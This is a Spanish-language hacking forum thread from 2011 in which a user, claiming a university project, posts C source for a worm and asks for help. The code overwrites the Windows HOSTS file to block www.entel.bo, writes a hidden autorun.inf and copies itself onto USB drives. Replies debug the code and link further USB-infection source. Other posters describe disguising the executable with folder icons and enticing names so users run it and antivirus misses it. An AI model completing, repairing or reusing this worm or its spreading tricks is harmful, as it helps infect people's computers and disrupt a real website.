ayuda proyecto worm

Iniciado por claudiog_14, 12 Julio 2011, 09:30 AM

0 Miembros y 1 Visitante están viendo este tema.

claudiog_14

hola a todos este es mi primer post me gustaria q me ayuden con un proyecto que estoy ahciendo pra la universidad el cual tengo que crear un worm en c que modifique el archivo de host espero me puedan ayudar solo que modifique el archivo host
en la mente del mediocre siempre habra "obstaculos" gracias dios no soy de esos

skapunky

Aquí las pautas, a partir de aquí deberás seguir tu ya que entiendo que si vas a la universidad sabrás programar o almenos buscarte la vida si algo no te sale.

1º Paso

Si vas a hacer un worm, primero de todo debes saber lo que hace uno ya que sinó tu proyecto no tiene sentido. Busca información en páginas de CERT's, de seguridad, de antvirus... y míra las acciónes principales de los gusanos. Uno sencillo como mínimo debería copíarse en el sistema infectado y tener un método de propagación.

Ejemplo de CERT (Inteco)

2º paso

Elíge un lenguaje de programación para hacerlo, yo te recomiendo delphi o C aunque si sabes también algo sencillo lo puedes hacer sin problemas en visual basic si es para hacer una exposición o demostración.

3º paso

Haz una lísta de las funciónes principales, es decir, que ha de hacer tu worm? Yo de tí una vez tengas la lísta programaría cada una de las cosas en una función y después lo llamaria desde el Main o programa principal. Lo digo porque si es para una exposición siempre queda mas presentable y claro.

4º paso


Programación, control de errores y verificación: como se indíca aquí toca hacer el desarrollo y luego una etápa de testeo y corrección, pruebalo en un par o tres de SO diferéntes.

Por último las dudas que tengas se pueden resolver en el foro, aunque te recomiendo que inténtes hacer todo, busques por internet y si pides ayuda que sea aportándo código tuyo para ver en lo que has fallado o lo que te pueda faltar.
Killtrojan Syslog v1.44: ENTRAR

claudiog_14

hola a todos estoy de vuelta mi pregunta es que estoy haciendo mal por que no me esta infectando el usb este es mi codigo espero me puedan giar
#include <cstdlib>
#include <iostream>
#include <windows.h>
#include<fstream>
#define PROCESSNAME "gusano.exe" //nombre del proceso

using namespace std;

    char me[1024];
    HKEY hKey;
    char *drives[] = {"C:","D:","E:","F:","G:","H:","I:","J:","K:","L:",
                      "M:","N:","O:","P:","Q:","R:","S:","T:","U:","V:",
                      "W:","X:","Y:","Z:"};
                      void hst(void)
{
char hst[MAX_PATH];
    DWORD byte;
HANDLE hFile;
BOOL bSuccess;
GetSystemDirectory(hst, sizeof(hst));

strcat(hst, "\\Drivers\\ETC\\HOSTS");
const char* buffer = "127.0.0.1 www.entel.bo";
hFile = CreateFile(hst, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
bSuccess = WriteFile ( hFile, buffer, strlen(buffer), &byte, NULL);
CloseHandle(hFile);     
}

    //busqueda e infeccion del usb
    int FindDrv()
{
         char *drives;
char dirX[MAX_PATH];
char path[MAX_PATH];
char autorun[MAX_PATH]="AutoRun.inf";
ofstream CreAut;
HMODULE GetQ;

   GetQ=GetModuleHandle(NULL);
    GetModuleFileName(GetQ,path,sizeof(path));
      CreAut.open(dirX,ios_base::out);
             CreAut<<"[AutoRun]"<<endl;
             CreAut<<"open=gusano.exe"<<endl;
             CreAut<<"shellexecute=gusano.exe"<<endl;
             CreAut<<"shell\\Auto\\command=gusano.exe"<<endl;
             CreAut<<"shell=Auto"<<endl;
      CreAut.close();
      SetFileAttributes(dirX,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_READONLY);
             UINT type= GetDriveType(drives);
                  if(type == DRIVE_REMOVABLE)
                     {
                       strcpy(dirX, drives);
                       strcat(dirX, "\\");
                       strcat(dirX, "gusano.exe");
                       CopyFile(path,dirX,TRUE);
                     
                       return 0;
                     }
  return 0;
}

int main(int argc, char *argv[])
{
    hst();
    FindDrv();

system("PAUSE");
  // ShellExecute(NULL,"open", PROCESSNAME, NULL, NULL, 0);

    return EXIT_SUCCESS;
}
en la mente del mediocre siempre habra "obstaculos" gracias dios no soy de esos

skapunky

Mirando por encima...Porque para definir las rutas de los arcvihos utilizas \\ ????? mira esto es lo que pones:

strcat(hst, "\\Drivers\\ETC\\HOSTS");
..
strcat(dirX, "\\");
..
CreAut<<"shell\\Auto\\command=gusano.exe"<<endl;


Si defines las rutas con esos palítos ni se copiará ni funcionará nunca en windows las rutas se defínen de la siguiente forma por ejemplo:

c:/window/system32
Killtrojan Syslog v1.44: ENTRAR

[Zero]

Cita de: skapunky en 21 Julio 2011, 11:02 AM
Mirando por encima...Porque para definir las rutas de los arcvihos utilizas \\ ????? mira esto es lo que pones:

strcat(hst, "\\Drivers\\ETC\\HOSTS");
..
strcat(dirX, "\\");
..
CreAut<<"shell\\Auto\\command=gusano.exe"<<endl;


Si defines las rutas con esos palítos ni se copiará ni funcionará nunca en windows las rutas se defínen de la siguiente forma por ejemplo:

c:/window/system32

En C, '\' es el caracter de escape, por lo que si quieres poner '\' en una cadena has de poner '\\'.

Cita de: claudiog_14 en 20 Julio 2011, 10:01 AM
hola a todos estoy de vuelta mi pregunta es que estoy haciendo mal por que no me esta infectando el usb este es mi codigo espero me puedan giar
#include <cstdlib>
#include <iostream>
#include <windows.h>
#include<fstream>
#define PROCESSNAME "gusano.exe" //nombre del proceso

using namespace std;

    char me[1024];
    HKEY hKey;
    char *drives[] = {"C:","D:","E:","F:","G:","H:","I:","J:","K:","L:",
                      "M:","N:","O:","P:","Q:","R:","S:","T:","U:","V:",
                      "W:","X:","Y:","Z:"};
                      void hst(void)
{
char hst[MAX_PATH];
    DWORD byte;
HANDLE hFile;
BOOL bSuccess;
GetSystemDirectory(hst, sizeof(hst));

strcat(hst, "\\Drivers\\ETC\\HOSTS");
const char* buffer = "127.0.0.1 www.entel.bo";
hFile = CreateFile(hst, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
bSuccess = WriteFile ( hFile, buffer, strlen(buffer), &byte, NULL);
CloseHandle(hFile);     
}

    //busqueda e infeccion del usb
    int FindDrv()
{
         char *drives;
char dirX[MAX_PATH];
char path[MAX_PATH];
char autorun[MAX_PATH]="AutoRun.inf";
ofstream CreAut;
HMODULE GetQ;

   GetQ=GetModuleHandle(NULL);
    GetModuleFileName(GetQ,path,sizeof(path));
      CreAut.open(dirX,ios_base::out);
             CreAut<<"[AutoRun]"<<endl;
             CreAut<<"open=gusano.exe"<<endl;
             CreAut<<"shellexecute=gusano.exe"<<endl;
             CreAut<<"shell\\Auto\\command=gusano.exe"<<endl;
             CreAut<<"shell=Auto"<<endl;
      CreAut.close();
      SetFileAttributes(dirX,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_READONLY);
             UINT type= GetDriveType(drives);
                  if(type == DRIVE_REMOVABLE)
                     {
                       strcpy(dirX, drives);
                       strcat(dirX, "\\");
                       strcat(dirX, "gusano.exe");
                       CopyFile(path,dirX,TRUE);
                     
                       return 0;
                     }
  return 0;
}

int main(int argc, char *argv[])
{
    hst();
    FindDrv();

system("PAUSE");
  // ShellExecute(NULL,"open", PROCESSNAME, NULL, NULL, 0);

    return EXIT_SUCCESS;
}


Fíjate que estás declarando dos veces la variable drives, una vez como variable global y luego en la función que infecta el USB, y en esta la declaras como un puntero que apunta a saber a donde, seguramente por eso no funciona. Te dejo un ejemplo que hice hace mucho tiempo por si te sirve:
http://foro.elhacker.net/analisis_y_diseno_de_malware/srcc_infeccion_usb-t258426.0.html

Y bueno, ten en cuenta que este método no funcionará en Windows 7.

Saludos

"El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche

claudiog_14

gracias por tu aporte pero por que no funcionara en windows 7 que necesito o como puedo hacerle atoapto para windows 7

gracias un saludo
en la mente del mediocre siempre habra "obstaculos" gracias dios no soy de esos

Manudan85

Pues creo que está mal lo de adaptarlo a Windows 7 ,más que nada porque en esta versión (por motivos evidentes de seguridad) los autorun.inf no funcionan. De todas formas, si esparces un worm con ese metodo, el worm no durará mas de una semana fud pq los antivirus lo ponen en quarentena inmediatamente.
Yo, uso una variante, que la llamo "La curiosidad mató al gato"  :xD. Consiste en colocar un icono atractivo al exe (p.e el de una carpeta de win) y darle tb un nombre que llame la atención como foticos... en fin ya saben.No se pueden imaginar lo efectivo que es y los AV's ni se enteran :o

[L]ord [R]NA

El metodo que utilice fue un poco mas efectivo... suplantar un archivo y cambiar el icono por uno del mismo tipo. Funciono en muchos de los casos segun las estadisticas que recolecte.

claudiog_14

hola [L]ord [R]NA jejej si estoy inten tando un metodo similar suplantar todas las carpetas del usb con una copia del worm con el nombre de la carpeta pero no puedo encontrar info de como obtener el nombre q tomo mi exe o el proceso que abrio alguna idea???


saludos
en la mente del mediocre siempre habra "obstaculos" gracias dios no soy de esos